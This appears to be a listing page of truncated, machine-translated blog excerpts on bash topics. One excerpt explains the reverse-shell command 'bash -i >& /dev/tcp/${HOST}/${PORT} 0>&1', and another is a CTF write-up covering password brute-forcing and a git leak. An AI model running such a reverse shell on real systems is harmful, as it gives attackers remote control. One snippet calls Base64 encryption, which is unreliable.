[Linux Process Control (3)] Process Program Replacement–How to implement a bash interpreter yourself?

Blogger CSDN homepage:Hangdian Code Farmer-NEO ? ?Column classification:Linux from entry to proficiency? ? Code Warehouse: NEO’s Learning Diary ? Follow meTeach you more operating system knowledge ? Process program replacement 1 Introduction 2. Understanding of exec series functions 3. execl series functions 4. execv series functions 5. Usage scenarios of program replacement 6. Implement a […]

Use the OpenSSL tool to write Bash scripts to encrypt and decrypt password plaintext

Use OpenSSL tools to encrypt and decrypt password plaintext Written By: Xinyao Tian Introduction This document describes a simple way to encrypt and decrypt passwords in a Bash script using the OpenSSL tool. BASE64 encryption and decryption script Use Base64 algorithm to encrypt password The script name is encryptPasswd.sh, and the script content is as […]

Spend a day figuring out the rebound shell commands! bash -i >& /dev/tcp/${HOST}/${PORT} 0>&1!

1. Rebound shell command 1, bash -i > & amp; /dev/tcp/${HOST}/${PORT} 0> & amp;1 [1], bash -i (1). What is bash? Refer to the explanations on the Internet and the explanations in the man method (man is a command help manual) # man help manual Bash is an sh-compatible command language interpreter that executes commands […]

How to add comments in Bash script

Adding comments in your Bash scripts is one of the most effective ways to keep your code clean and easy to understand. You may ask why. Suppose your script contains a complex regular expression or multiple complex code blocks, in this case you can add comments so that other developers or you can understand the […]

[NetDing Cup 2018]Comment git leak/recovery secondary injection .DS_Store bash_history file view

First we see the account and password prompts Let’s bp blast it I blasted numbers first because full characters are too much. It exploded So the account password is also out zhangwei zhangwei666 It’s of no use Scan it Have git git leaked Let’s see if it’s leaked Really <?php include “mysql.php”; session_start(); if($_SESSION[‘login’] != […]

Add bash/zsh completion to your own commands in Linux

Add bash/zsh completion to your own commands in Linux Reference documentation Bash documentation: /usr/share/doc/bash Programmable Completion Programmable Completion Builtins About zsh The shell I use is zsh, I use oh-my-zsh to manage plug-ins, and I added incr and zsh-autosuggestions plug-ins. I first tried to start based on these two plug-ins, but the source code of […]

bash shell basic programming

Here we mainly talk about bash shell Variable There can be no spaces between the equal signs. Define the variable directly Append the string yes:name=me=${name}yes Special variables: environment variables Use the env command to search for one of the path environment variables. For example, if you execute the ls command, the system will find the […]

scp tab completion error: F-bash: warning: setlocale: LC_CTYPE: cannot change locale (en_US.UTF-8)

1. Problem description During a certain Linux operation, the function scp command was used, and the following directory could not be completed using Tab. The error was reported: -bash: warning: setlocale: LC_CTYPE: cannot change locale (en_US.UTF-8): No such file or directory Related links: character map file `UTF-8’ not found 2. Cause handling 1) As shown […]